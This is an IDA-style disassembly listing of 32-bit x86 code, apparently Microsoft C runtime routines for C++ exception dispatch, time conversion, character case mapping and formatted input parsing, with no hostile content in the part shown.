sub_41D08F	proc near		; CODE XREF: sub_41CFF1+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41D0A0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41D0A0:				; CODE XREF: sub_41D08F+Cj
		jmp	sub_41D4FC
sub_41D08F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D0A5	proc near		; CODE XREF: sub_41CD45+151p
					; sub_41CEEC+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_41D0C7
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41D256
		add	esp, 10h


loc_41D0C7:				; CODE XREF: sub_41D0A5+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41D0D3
		push	edi
		jmp	short loc_41D0D6
; ---------------------------------------------------------------------------


loc_41D0D3:				; CODE XREF: sub_41D0A5+29j
		push	[ebp+arg_24]


loc_41D0D6:				; CODE XREF: sub_41D0A5+2Cj
		call	sub_417EFC
sub_41D0A5	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_41CFF1
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_41D120
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_41D11B
		push	edi
		push	eax
		call	sub_417EBA


loc_41D11B:				; CODE XREF: ___:0041D112j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D120	proc near		; CODE XREF: ___:0041D108p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424870
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_48A090
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_48A094
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_48A090, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_48A094, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_417F81
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41D1E6
		mov	eax, [ebp+var_2C]


loc_41D1AD:				; CODE XREF: sub_41D1C6+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D120	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1BC	proc near		; DATA XREF: ___:00424880o
		push	dword ptr [ebp-14h]
		call	sub_41D22C
		pop	ecx
		retn
sub_41D1BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1C6	proc near		; DATA XREF: ___:00424884o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4181E2
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41D1AD
sub_41D1C6	endp

; ---------------------------------------------------------------------------


loc_41D1DE:				; DATA XREF: ___:00424878o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41D1E6	proc near		; CODE XREF: sub_41D120+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_48A090, eax
		mov	eax, [ebp-20h]
		mov	dword_48A094, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_41D22B
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_41D22B
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_41D22B
		cmp	[ebp-24h], ebx
		jnz	short locret_41D22B
		cmp	[ebp-2Ch], ebx
		jz	short locret_41D22B
		call	sub_41824A
		push	eax
		push	edi
		call	sub_41D41A
		pop	ecx
		pop	ecx

locret_41D22B:				; CODE XREF: sub_41D1E6+1Cj
					; sub_41D1E6+22j ...
		retn
sub_41D1E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D22C	proc near		; CODE XREF: sub_41D1BC+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41D253
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41D253
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41D253
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41D253
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41D253:				; CODE XREF: sub_41D22C+Cj
					; sub_41D22C+12j ...
		xor	eax, eax
		retn
sub_41D22C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D256	proc near		; CODE XREF: sub_41D0A5+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424888
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41D3FF
		cmp	byte ptr [eax+8], 0
		jz	loc_41D3FF
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41D3FF
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41D2F3
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_41D2E4:				; CODE XREF: sub_41D256+F5j
		push	eax
		call	sub_41D481
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_41D3FB
; ---------------------------------------------------------------------------


loc_41D2F3:				; CODE XREF: sub_41D256+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41D34D
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_4182C0
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41D3FB
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41D3FB
		add	esi, 8
		push	esi
		jmp	short loc_41D2E4
; ---------------------------------------------------------------------------


loc_41D34D:				; CODE XREF: sub_41D256+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_41D395
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_4182C0
		add	esp, 0Ch
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------


loc_41D395:				; CODE XREF: sub_41D256+103j
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	dword ptr [esi+18h]
		call	sub_42090A
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		test	byte ptr [esi],	4
		jz	short loc_41D3DC
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_417EF5
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------


loc_41D3DC:				; CODE XREF: sub_41D256+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_417EEE
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------


loc_41D3F6:				; CODE XREF: sub_41D256+6Aj
					; sub_41D256+7Cj ...
		call	sub_41D552


loc_41D3FB:				; CODE XREF: sub_41D256+98j
					; sub_41D256+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_41D3FF:				; CODE XREF: sub_41D256+2Ej
					; sub_41D256+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D256	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41D4FC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D41A	proc near		; CODE XREF: sub_41CD45+170p
					; sub_41D1E6+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424898
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41D461
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41D461
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_417EEE
		or	[ebp+var_4], 0FFFFFFFFh


loc_41D461:				; CODE XREF: sub_41D41A+2Aj
					; sub_41D41A+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D41A	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41D4FC

; =============== S U B	R O U T	I N E =======================================



sub_41D481	proc near		; CODE XREF: sub_41D256+8Fp
					; sub_41D256+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41D4A2
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_41D4A2:				; CODE XREF: sub_41D481+12j
		pop	esi
		retn
sub_41D481	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4B0	proc near		; CODE XREF: sub_417F81+40p
					; sub_41CFF1+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41826D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41D4EF
		mov	ecx, 2


loc_41D4EF:				; CODE XREF: sub_41D4B0+38j
		push	ecx
		call	sub_41826D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41D4B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4FC	proc near		; CODE XREF: sub_41CD45:loc_41CEE7j
					; sub_41D08F:loc_41D0A0j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00420922 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248A8
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_48A09C
		test	eax, eax
		jz	short loc_41D544
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_41D540
; ---------------------------------------------------------------------------


loc_41D539:				; DATA XREF: ___:004248B8o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41D53D:				; DATA XREF: ___:004248BCo
		mov	esp, [ebp+var_18]


loc_41D540:				; CODE XREF: sub_41D4FC+3Bj
		and	[ebp+var_4], 0


loc_41D544:				; CODE XREF: sub_41D4FC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41D54D:				; DATA XREF: ___:004248B0o
		jmp	loc_420922
sub_41D4FC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D552	proc near		; CODE XREF: sub_418123+23p
					; sub_418123:loc_41818Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248C0
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43B924
		test	eax, eax
		jz	short loc_41D59A
		mov	[ebp+var_4], 1
		call	eax ; sub_41D4FC
		jmp	short loc_41D596
; ---------------------------------------------------------------------------


loc_41D58F:				; DATA XREF: ___:004248D0o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41D593:				; DATA XREF: ___:004248D4o
		mov	esp, [ebp+var_18]


loc_41D596:				; CODE XREF: sub_41D552+3Bj
		and	[ebp+var_4], 0


loc_41D59A:				; CODE XREF: sub_41D552+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41D5A3:				; DATA XREF: ___:004248C8o
		jmp	sub_41D4FC
sub_41D552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5A8	proc near		; CODE XREF: sub_418603+7p
					; sub_418603+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_48B688
		push	esi
		cmp	eax, 3
		jnz	short loc_41D5D1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AD89
		test	eax, eax
		pop	ecx
		jz	short loc_41D5CE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_41D606
; ---------------------------------------------------------------------------


loc_41D5CE:				; CODE XREF: sub_41D5A8+1Cj
		push	esi
		jmp	short loc_41D5F8
; ---------------------------------------------------------------------------


loc_41D5D1:				; CODE XREF: sub_41D5A8+Ej
		cmp	eax, 2
		jnz	short loc_41D5F5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BAE4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41D5F5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_41D606
; ---------------------------------------------------------------------------


loc_41D5F5:				; CODE XREF: sub_41D5A8+2Cj
					; sub_41D5A8+43j
		push	[ebp+arg_0]


loc_41D5F8:				; CODE XREF: sub_41D5A8+27j
		push	0
		push	dword_48B684
		nop
		call	near ptr 284053Eh


loc_41D606:				; CODE XREF: sub_41D5A8+24j
					; sub_41D5A8+4Bj
		pop	esi
		leave
		retn
sub_41D5A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D609	proc near		; CODE XREF: sub_4186B1+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41D6C5
		cmp	ebx, 8Ah
		jg	loc_41D6C5
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43C054[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41D648
		cmp	edi, 2
		jle	short loc_41D648
		inc	esi


loc_41D648:				; CODE XREF: sub_41D609+37j
					; sub_41D609+3Cj
		call	sub_420939
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43BF70
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41D6BB
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41D6C1
		cmp	dword_43BF74, 0
		jz	short loc_41D6C1
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_420BAC
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41D6C1


loc_41D6BB:				; CODE XREF: sub_41D609+90j
		add	ecx, dword_43BF78


loc_41D6C1:				; CODE XREF: sub_41D609+96j
					; sub_41D609+9Fj ...
		mov	eax, ecx
		jmp	short loc_41D6C8
; ---------------------------------------------------------------------------


loc_41D6C5:				; CODE XREF: sub_41D609+13j
					; sub_41D609+1Fj
		or	eax, 0FFFFFFFFh


loc_41D6C8:				; CODE XREF: sub_41D609+BAj
		pop	ebx
		leave
		retn
sub_41D609	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D6CB	proc near		; CODE XREF: sub_418833+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_48A0A8, 0
		push	ebx
		jnz	short loc_41D6F6
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41D794
		cmp	eax, 7Ah
		jg	loc_41D794
		sub	eax, 20h
		jmp	loc_41D794
; ---------------------------------------------------------------------------


loc_41D6F6:				; CODE XREF: sub_41D6CB+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41D729
		cmp	dword_4397AC, 1
		jle	short loc_41D716
		push	2
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D721
; ---------------------------------------------------------------------------


loc_41D716:				; CODE XREF: sub_41D6CB+3Dj
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_41D721:				; CODE XREF: sub_41D6CB+49j
		test	eax, eax
		jnz	short loc_41D729


loc_41D725:				; CODE XREF: sub_41D6CB+AFj
		mov	eax, ebx
		jmp	short loc_41D794
; ---------------------------------------------------------------------------


loc_41D729:				; CODE XREF: sub_41D6CB+34j
					; sub_41D6CB+58j
		mov	edx, off_4395A0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D74C
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41D755
; ---------------------------------------------------------------------------


loc_41D74C:				; CODE XREF: sub_41D6CB+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_41D755:				; CODE XREF: sub_41D6CB+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_48A0A8
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D725
		cmp	eax, 1
		jnz	short loc_41D787
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D794
; ---------------------------------------------------------------------------


loc_41D787:				; CODE XREF: sub_41D6CB+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41D794:				; CODE XREF: sub_41D6CB+14j
					; sub_41D6CB+1Dj ...
		pop	ebx
		leave
		retn
sub_41D6CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D797	proc near		; CODE XREF: sub_418A52+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_41E19D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41D7C6
; ---------------------------------------------------------------------------


loc_41D7C1:				; CODE XREF: sub_41D797+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_41D7C6:				; CODE XREF: sub_41D797+28j
		cmp	dword_4397AC, 1
		jle	short loc_41D7DE
		movzx	eax, al
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D7ED
; ---------------------------------------------------------------------------


loc_41D7DE:				; CODE XREF: sub_41D797+36j
		mov	ecx, off_4395A0
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41D7ED:				; CODE XREF: sub_41D797+45j
		cmp	eax, ebx
		jz	short loc_41D827
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41E224
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41E20D
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_420F60
		add	esp, 0Ch


loc_41D815:				; CODE XREF: sub_41D797+8Ej
		test	eax, eax
		jz	short loc_41D827
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_420F60
		pop	ecx
		jmp	short loc_41D815
; ---------------------------------------------------------------------------


loc_41D827:				; CODE XREF: sub_41D797+58j
					; sub_41D797+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41E109
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_41D85E:				; CODE XREF: sub_41D797+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_4397AC, 1
		jle	short loc_41D87B
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D88A
; ---------------------------------------------------------------------------


loc_41D87B:				; CODE XREF: sub_41D797+D3j
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41D88A:				; CODE XREF: sub_41D797+E2j
		test	eax, eax
		jz	short loc_41D8A0
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8A0:				; CODE XREF: sub_41D797+F5j
		cmp	ebx, 4Eh
		jg	short loc_41D8E3
		jz	short loc_41D905
		cmp	ebx, 2Ah
		jz	short loc_41D8DE
		cmp	ebx, 46h
		jz	short loc_41D905
		cmp	ebx, 49h
		jz	short loc_41D8C0
		cmp	ebx, 4Ch
		jnz	short loc_41D8F2
		inc	[ebp+var_D]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8C0:				; CODE XREF: sub_41D797+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41D8F2
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41D8F2
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8DE:				; CODE XREF: sub_41D797+113j
		inc	[ebp+var_E]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8E3:				; CODE XREF: sub_41D797+10Cj
		cmp	ebx, 68h
		jz	short loc_41D8FF
		cmp	ebx, 6Ch
		jz	short loc_41D8F7
		cmp	ebx, 77h
		jz	short loc_41D8FA


loc_41D8F2:				; CODE XREF: sub_41D797+122j
					; sub_41D797+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8F7:				; CODE XREF: sub_41D797+154j
		inc	[ebp+var_D]


loc_41D8FA:				; CODE XREF: sub_41D797+159j
		inc	[ebp+var_5]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8FF:				; CODE XREF: sub_41D797+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_41D905:				; CODE XREF: sub_41D797+107j
					; sub_41D797+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41D85E
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41D92A
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
